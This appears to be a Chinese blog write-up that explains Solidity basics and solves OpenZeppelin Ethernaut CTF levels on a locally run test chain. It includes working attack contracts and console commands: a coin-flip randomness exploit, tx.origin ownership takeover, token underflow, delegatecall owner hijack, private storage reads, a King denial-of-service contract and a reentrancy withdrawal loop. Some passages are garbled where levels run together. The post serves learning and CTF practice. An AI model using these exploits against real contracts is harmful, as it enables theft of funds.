文章目录
- 前言
- 环境部署
- 基础知识
- tx.origin和msg.sender
- abi
- sendTransaction
- fallback
- receive
- 单位
- transfer send
- delegatecall和call和callcode
- function selector
- selfdestruct
- 重入攻击
- 查看某一地址的数据
- 例题
- Coin Flip
- Telephone
- Token
- Delegation
- force
- unlock
- king
- elevator
- Privacy
- Re-entrancy
前言
在AAA打ctf的时候了解了区块链这个新赛道,后来在学校也上过区块链安全的课程,前段时间自己抽空学习了一点区块链安全的知识,这里做个简要分享~
环境部署
现在的水房基本不太能用了,所以我们一般做题都是本地搭建一个链
先打开一个terminal,这里我在mac上搭建的
git clone git@github.com:OpenZeppelin/ethernaut.gitcd ethernautyarn install
然后输入
yarn network
这个时候本地的测试链就搭建好了,我们先注册metamask账号,然后连接local network
再打开一个terminal
yarn compile:contracts//这个只需要第一次的时候调用yarn deploy:contractsyarn start:ethernaut
当我们第一次成功部署好环境之后,之后重新配置环境就可以按照如下操作就好
yarn network
yarn deploy:contractsyarn start:ethernaut
基础知识
tx.origin和msg.sender
abi
contract.abi可以查看合约的function
sendTransaction
往以太坊合约转钱
fallback
Solidity语言中关于回退函数fallback()的定义:
回退函数是一个不接受任何参数也不返回任何值的特殊函数;
- 如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
- 每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
- 一个合约中最多可以有一个回退函数。
如果没有给fallback函数定义payable,那就不能给他转钱,只可以弄数据
receive
- 一个合约最多有一个 receive 函数, 声明函数为: receive() external payable { … }
- 不需要 function 关键字,也没有参数和返回值并且必须是 external 可见性和 payable 修饰. 它可以是 virtual 的,可以被重载也可以有修改器modifier 。
- 在对合约没有任何附加数据调用(通常是对合约转账)是会执行 receive 函数。例如 通过 .send() or .transfer() 如果 receive 函数不存在, 但是有payable 的fallback 回退函数,那么在进行纯以太转账时,fallback 函数会调用.
- 如果两个函数都没有,这个合约就没法通过常规的转账交易接收以太(会抛出异常).
- 更糟的是,receive 函数可能只有 2300 gas 可以使用(如,当使用 send 或 transfer 时), 除了基础的日志输出之外,进行其他操作的余地很小。
单位
以太币Ether单位之间的换算就是在数字后边加上 wei , gwei 或 ether 来实现的,如果后面没有单位,缺省为 wei。
assert(1 wei == 1);assert(1 gwei == 1e9);assert(1 ether == 1e18);
transfer send
注意看这个transfer和send的实现,都是往调用的地址去转钱
delegatecall和call和callcode
address.call(...) returns (bool)address.delegatecall(...) returns (bool)address.callcode(...) returns (bool)
些函数传入的参数会被填充至32字节,拼接成一个字符串序列,由EVM解析并且执行。
异同点:
- call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
- delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
- callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境
function selector
- 基础原型即是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格
- 对于 uint 类型,要转成 uint256 进行计算,比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256(‘ownerOf(uint256)’)) == 0x6352211e
- 函数参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 () 扩起来,详细可看下面的例子
pragma solidity >=0.4.16 <0.9.0;pragma experimental ABIEncoderV2;contract Demo {struct Test {string name;string policies;uint num;}uint public x;function test1(bytes3) public {x = 1;}function test2(bytes3[2] memory) public{ x = 1; }function test3(uint32 x, bool y) public{ x = 1; }function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; }function test5(uint, Test memory test) public { x = 1; }function test6(uint, Test[] memory tests) public { x = 1; }function test7(uint[][] memory,string[] memory) public { x = 1; }}/* 函数选择器{"0d2032f1": "test1(bytes3)","2b231dad": "test2(bytes3[2])","92e92919": "test3(uint32,bool)","4d189ce2": "test4(uint256,uint32[],bytes10,bytes)","4ca373dc": "test5(uint256,(string,string,uint256))","ccc5bdd2": "test6(uint256,(string,string,uint256)[])","cc80bc65": "test7(uint256[][],string[])","0c55699c": "x()"}*/
function pwn() public {owner = msg.sender;}bytes4(keccak256('pwn()')) //直接在solidityweb3.utils.keccak256("pwn()").slice(0,10) //web3web3.eth.abi.encodeFunctionSignature('pwn()')//web3
0x4d189ce2 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter/* 一些解释说明data of first parameter: uint 定长类型,直接存储其 dataoffset of second parameter: uint32[] 动态数组,先存储其 offset=0x20*4 ( 4 代表函数参数的个数 ) data of third parameter: bytes10 定长类型,直接存储其 dataoffset of forth parameter: bytes 变长类型,先存储其 offset=0x80+0x20*3=0xe0 (0x80 是前一个变长类型的 offset,3 是前一个变长类型存储其长度和两个元素占用的插槽个数)length of second parameter: 存储完 data 或者 offset 后,便开始存储变长数据的 length 和 data,这里是第二个参数的长度first data of second parameter: 第二个参数的第一个数据second data of second parameter: 第二个参数的第二个数据length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度data of forth parameter: 第四个参数的数据*/
0x4ca373dc // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter/* 一些解释说明data of first parameter: uint 定长类型,直接存储其 dataoffset of second parameter: 结构体,先存储其 offset=0x20*2 ( 2 代表函数参数的个数) first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是 string 类型,所以先存储其 offset=0x20*3=0x60second data offset of second parameter: 结构体第二个元素是 string 类型,先存储其 offset=0x60+0x20+0x20=0xa0 (第一个 0x20 是存储第一个 string 的长度所占大小,第二个 0x20 是存储第一个 string 的数据所占大小)third data of second parameter: 结构体第三个元素是 uint 定长类型,直接存储其 datafirst data length of second parameter: 存储结构体第一个元素的 lengthfirst data of second parameter: 存储结构体第一个元素的 datasecond data length of second parameter: 存储结构体第二个元素的 lengthsecond data of second parameter: 存储结构体第二个元素的 data*/
selfdestruct
重入攻击
其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件
查看某一地址的数据
(await contract.prize()).toNumber()
https://learnblockchain.cn/docs/solidity
例题
Coin Flip
伪随机数问题,下面的值我们也可以在本地算出来的,所以直接写一个攻击的协议即可
uint256 blockValue = uint256(blockhash(block.number - 1));
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface CoinFlip {function flip(bool _guess) externalreturns (bool) ;} contract attack{CoinFlip constant private target = CoinFlip(0x9bd03768a7DCc129555dE410FF8E85528A4F88b5);uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;uint256 lastHash;function guess() public{uint256 blockValue = uint256(blockhash(block.number - 1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue / FACTOR;bool side = coinFlip == 1 " />Telephone 考察tx.orgin和msg.sender的概念,如果我们用户直接调用题目合约,那么tx.origin和msg.sender都是用户,而我们通过创建一个新的合约去调用,那么对于题目的合约来说,tx.origin还是用户,但是msg.sender就是我们的合约,就通过了if的判断
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface Telephone {function changeOwner(address _owner) external;}contract attack{event Log(address);Telephone constant privatetarget=Telephone(0x4F57F9239eFCBf43e5920f579D03B3849C588396);function hack() public{emit Log(msg.sender);emit Log(tx.origin);target.changeOwner(msg.sender);}}
Token
溢出问题,
function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}
这里的balances都是uint,uint-uint还是unint,但是20-21就会变成很大,所以我们转21就好
Delegation
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Delegate {address public owner;constructor(address _owner) {owner = _owner;}function pwn() public {owner = msg.sender;}}contract Delegation {address public owner;Delegate delegate;constructor(address _delegateAddress) {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool result,) = address(delegate).delegatecall(msg.data);if (result) {this;}}}
这里想修改owner只有pwn方法可以,然后注意delegatecall上下文执行环境就是我们的Delegation合约,所以只要调用pwn就会修改owner,这里还要注意一个点,
因为fallback没有加上payable
await contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})
所以我们这样就可以
await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
force
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Force {/* MEOW " />unlock // SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Vault {bool public locked;bytes32 private password;constructor(bytes32 _password) {locked = true;password = _password;}function unlock(bytes32 _password) public {if (password == _password) {locked = false;}}}
这里第0槽是locked,然后第1槽是password,因为byts32刚好是256,占满了
读取私有变量内容
await web3.eth.getStorageAt(contract.address,1)
king
这道题目是让我们成为king以后其他人不会成为king,成为king很简单,我们可以查看prize
(await contract.prize()).toNumber
然后选一个大的值就好
然后就是要让transfer执行失败,对于send和call来说,他们就算转账失败只会返回false,但是transfer会报错,就会revet,不会继续执行,那我们就在对应的recevie里函数触发异常
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract King {address king;uint public prize;address public owner;constructor() payable {owner = msg.sender;king = msg.sender;prize = msg.value;}receive() external payable {require(msg.value >= prize || msg.sender == owner);payable(king).transfer(msg.value);king = msg.sender;prize = msg.value;}function _king() public view returns (address) {return king;}}
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract attack{address target=0xa9b19BA63eD2fFa19f50a63Bddf5F4a0092678C7;constructor()payablepublic{//创建的时候给1etherpayable(target).call{value:100000000000000000}("");}function receive() payable external {require(false);}}
这样也是可以转账的
web3.eth.sendTransaction({from:player,to:contract.address,value:100000000000000000})
这种题目我们就在构造函数里转钱就好,然后创建的时候给点ether就好
这个地方不可以用send或者是transfer,因为这两个是固定2300gas,但这里根据提示需要21400gas,就不行
elevator
简单的题,根据状态返回就好
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Elevator {function goTo(uint _floor) external{}}contract Building {bool public flag=false;Elevator constant target=Elevator(0x524F04724632eED237cbA3c37272e018b3A7967e);function isLastFloor(uint _floor) public returns (bool){ if(!flag){flag=true;return false;}else{return true;}}function exploit() public{target.goTo(1);}}
Privacy
算出在第五个,然后因为取的byte16,就感觉是前32个,加上0x就是34个,然后提交就好
(await web3.eth.getStorageAt(contract.address,5)).slice(0,34)await contract.unlock('0xff9c98d7a9d6a5e1830825dadc3f9c96');
Re-entrancy
awaitweb3.eth.getBalance(contract.address) 获取账户余额
版本低一点,不然payable(this)还是不行
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Reentrance {function donate(address _to) externalpayable {}function withdraw(uint _amount) external{}}contract attack{Reentrancetarget=Reentrance(0x29BDCBc116f3775698AE0ffE5F8fbBaf95F240CF);bool flag=true;constructor() payable public {target.donate{value:1000000000000000}(payable(this));}function explotit()public{target.withdraw(1000000000000000);}fallback()external payable {if(flag){ flag=false; target.withdraw(1000000000000000);}}}
这里好像如果我用call的话转账会失败,可能是要攻击的合约gas不够,所以我们直接调用~就可以发现成功重入